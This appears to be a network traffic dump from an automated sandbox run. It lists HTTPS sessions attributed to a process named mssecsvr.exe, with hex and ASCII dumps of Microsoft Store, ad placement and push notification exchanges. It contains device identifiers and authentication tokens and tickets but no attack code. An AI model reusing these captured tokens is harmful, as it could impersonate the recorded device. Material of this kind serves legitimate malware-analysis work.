2022-07-20 04:06:27 UTC	1165	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value
2022-07-20 04:06:27 UTC	1167	IN	Data Raw: 79 6e 63 49 6e 74 65 72 76 61 6c 22 3a 7b 22 76 61 6c 75 65 22 3a 31 34 34 30 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 4d 61 78 52 65 6d 69 6e 64 65 72 43 6f 75 6e 74 22 3a 7b 22 76 61 6c 75 65 22 3a 32 35 30 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 4d 61 78 52 65 74 72 79 43 6f 75 6e 74 22 3a 7b 22 76 61 6c 75 65 22 3a 32 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 4c 6f 63 61 6c 4e 65 77 42 61 74 63 68 53 69 7a 65 22 3a 7b 22 76 61 6c 75 65 22 3a 31 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 4d 61 78 41 74 74 61 63 68 6d 65 6e 74 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 7b 22 76 61 6c 75 65 22 3a 33 30 37 30 30 30 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 4c 6f 63 61 74 69 6f 6e 52 65 6d 69 6e 64 65 72 44 65 73 6b 74 6f 70 4f Data Ascii: yncInterval":{"value":1440,"feature":""},"MaxReminderCount":{"value":250,"feature":""},"MaxRetryCount":{"value":2,"feature":""},"LocalNewBatchSize":{"value":1,"feature":""},"MaxAttachmentSizeInBytes":{"value":307000,"feature":""},"LocationReminderDesktopO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49724	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	58	OUT	GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	68	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3995 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY" MS-CV: j3ZlnqhXhku72AJi.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 ca 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	50263	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:29 UTC	1169	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130617Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b43571e3a92942cd884523ec5f693cc0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-280815&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAZQ6DgZborodlLmr1UoiKN8b9IaJeZ3aYZ6kUZK6Ys/MNma5QvZOCagGTpC7pA59rtsFA19dBwsaQxdKXmsNyUKFtzoAB9clkyuXzCv7WUqHa7ofj5c1BvDJGMyNaX4Rw9O/0L3k+aZz8ChwWc5kByb6aXNPpBFgmviasSMTwFIiESOk+xUEPfH3/gZH4rKDyrs4hpM+olFLuznevXU65cRq9iFPVk+kdpnjxywWjDLS+aQkCTNBpaGvXpXHIFHXa8NQY8KYhRMeg4cNObLP3NqUmxOXXtFbb6WS4+qI2x+3ealgVz9eibIuyFNOI5aABgklAd0WDjguG3Ws2b4C0XUDZgAACANOLBCwiSYCqAFAWRx0X5NlxKhoOpR/YQbpOgVEzZtf7yORExjjr5EqFLcUZeXC89KMEa2gD6rfesN6SqXytjM9xNfwqdfZToKFPEP8jN5eTyDdhp0FZAi5/LHCHGUwuNizBt2MPaNNj5H+W++BNxa613knyUZwZ/IJTY/Vxu1UrdI2II02vun0WRYU2t9Cr4HYFyqr+8RMXx8AMj+cV8C8HoAhROhrvtqiehd4Sm1/yKSC5TAv/Qa9qO7NuZpv4ek+92txoHJIGsQqordLIUAy7S6quct4+jNTfA1BS/bU/Boo1OCAoXrmYFyjYeCf9tKy9DG/XyUeSIjQlBWV6y6Rmhip/c8phnIIWTBE7kW+6cQwGDWMULPCOgoCrjEixRKku7E/l455pQ1lFI79+O1sxRFbzEezKSuuqu+DMa2qVgNnzGU60xkernFIZ4Etd8tJSSTHxaGQRvXrybvCpsNTYdC00U0dN5WL5t49iGr63CdR+NjT4TNfgMivwU5q8rjU0yv4CrnOm8+u2gvQLIbq+SBIjdSrAiuETdjE7K9P4zonQFLzCocRl+khm6+imjwA1gE=&p= Cache-Control: no-cache MS-CV: OgI8w/ZpqEidRx03.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:06:29 UTC	1173	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3044 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: DOEyK/jzNgMJdzsf+rPpJe7c2xjR62R6pnEKIzpdxgkqMEHF5einGNhGAfKEyhbNh1L1FA91EY+6MXNQMla/MtXTTc69MdPx+BCoTwAoMNGG/VySvApIR3u7NKw0FXPdCHkdBb+aa4jKfrsWrnFDwlI+hiOIKesXO/cVpH3LJ28oaikK4RQgzGa29fpwihtr3XLngUi+LWckER/gMhaYUnwqanET6kK1z1LYRUc2ozSY3obSy1rU0RsrWSNT8hsDjd05t7LRsm5rdKsJmVCqDclCs3sJs/LS/7oprxDn35VMZoPFj77Pcmqa0rDmJOi+AmdUxNXGePUIEuW+yZ4bVQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:06:28 GMT Connection: close
2022-07-20 04:06:29 UTC	1174	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	50262	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:29 UTC	1171	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130617Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b8042d3953a34b8f8e3baff0dbbfcf87&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338389&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcXydhHgYTEOMeE3PNOKp+14qeaF75SoMg/sQ0FrmtWQu1mqtKuAS3H4/yQrUnHZFAlVIUnjs5kPeZK/PP74IQ/oZpqROVwZRgpL7XoM8F8Cu2/PyKhuFcjCcn6tYz+2w0eFeFAn25xx0n3mpwKiNOXjz6PuPQJ6CD2Ls8zsDlIqhTeEuE7/uXScBn3iDJ439RIDhjvWCFBMFGD8nq7g7lstRFTLJoUf3J9xMiWy+Ew18Y1fSt1gp+xKcjGuXHZjZ9pDFx+dD6wU7FPiosYKWij5ZJhCf1gQ2MOxouBfule4oshzKtmcGdyWxjgz7CEFEcWOvCJ3C7WTm6Jjg0ooUwEDZgAACNa2lcmUm3NMqAG2GSMCVqoO3Y7ZM4pTjWcQowUPkFZaYVXpQRv2yAfKckwft76MAveWvR1ElOFDLvhSlgRAdyqho9HMh7SKFsggqmfdelxYTOCE+gVIsq2OepY6plcRE6rTglxxxR8ANOv3qe8ttE9ewGiEYiQb4q8PMRWvwtsYP4ygfeXfovkyTxIEt1y50Nb2TbVARfqYMmWNwcm1D7KzdSx5YnNAWqwlaVHZLKQzrxYuNT/MA+LSsbCp160+cHFqS9oIHAO6sYU2Rwo/VbNlqkskRKoCYdGqoZJmrrwhUj37F+PxXAsuE8RdlXOdxnzM6LC2BegOxpEHBlgNDz1lOGLNbOwM71BR+jyOaLqcEQg36KcsD3aapfpJAOvLoTPZCzL3V7Y40aKYR6ALExnOR/Xz0r75O/c8zPpWVBVkTzUX1ipluWt8rciBEYrVN+YweBD3t/KaqyUJXR2/Qitq5lqdmFwaANQgSZVOroAVoVTGh5L0cFyAWlTgtFmvxetGTFAlISd/UBEeqcrY3fNH+a44guraDN6XR7jRTBagSQKXtpDxGsBjRag+wr65FRe41gE=&p= Cache-Control: no-cache MS-CV: OgI8w/ZpqEidRx03.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:06:29 UTC	1177	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3044 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: iBC6AJqQqetZvZ5wfUdWXhxFj78gaOT37FL00pfsEi+u1ug8u6MGQ8xCETOKR8hu+pEUqLQd5d4sW22A2Az2is659DwcqgPoxdY3d922fUrW+MxGzBNyJRtAoP8jIkCBZ2WxiIiNERPQKh7E0PGe9nh6wekisBSBjLDUiepc1wqJLx0vdZZAKMWb5G2mkDyrjj1M3LvuqDS6PoGTRAOZDBmMYqU+NLde8NajUmS09dJXMNsvAxG0cbaWyUGffrF+bFR6jr6BOf3pIS6fBT5rYO8NV8imtLJMD05y0Uurwe5OnUEcSNEZYollbQAiVC7SWVm9r1Rbg6de8eXubKGFFQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:06:29 GMT Connection: close
2022-07-20 04:06:29 UTC	1178	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	50297	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:30 UTC	1181	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 32 30 35 64 62 62 33 37 61 65 30 36 30 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: e7205dbb37ae0606
2022-07-20 04:06:30 UTC	1181	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:30 UTC	1181	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 32 30 35 64 62 62 33 37 61 65 30 36 30 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: e7205dbb37ae0606<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:30 UTC	1182	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 32 30 35 64 62 62 33 37 61 65 30 36 30 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: e7205dbb37ae0606<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:06:30 UTC	1183	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:30 UTC	1183	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 32 55 72 6b 7a 79 32 4d 6b 47 57 66 35 2f 4d 38 39 6d 2f 5a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: h2Urkzy2MkGWf5/M89m/Zw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	50335	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:33 UTC	1183	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 33 34 35 63 34 61 39 32 32 30 35 35 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 9de345c4a9220556
2022-07-20 04:06:33 UTC	1183	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:33 UTC	1183	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 33 34 35 63 34 61 39 32 32 30 35 35 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 9de345c4a9220556<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:33 UTC	1184	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 33 34 35 63 34 61 39 32 32 30 35 35 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 9de345c4a9220556
2022-07-20 04:06:33 UTC	1184	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:33 UTC	1184	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 71 32 64 31 32 44 4a 47 55 71 38 51 52 51 79 33 45 32 45 61 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6q2d12DJGUq8QRQy3E2EaA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	50376	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:36 UTC	1184	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130635Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=99ba276e021e43218b340df12ecc0372&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338388&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate 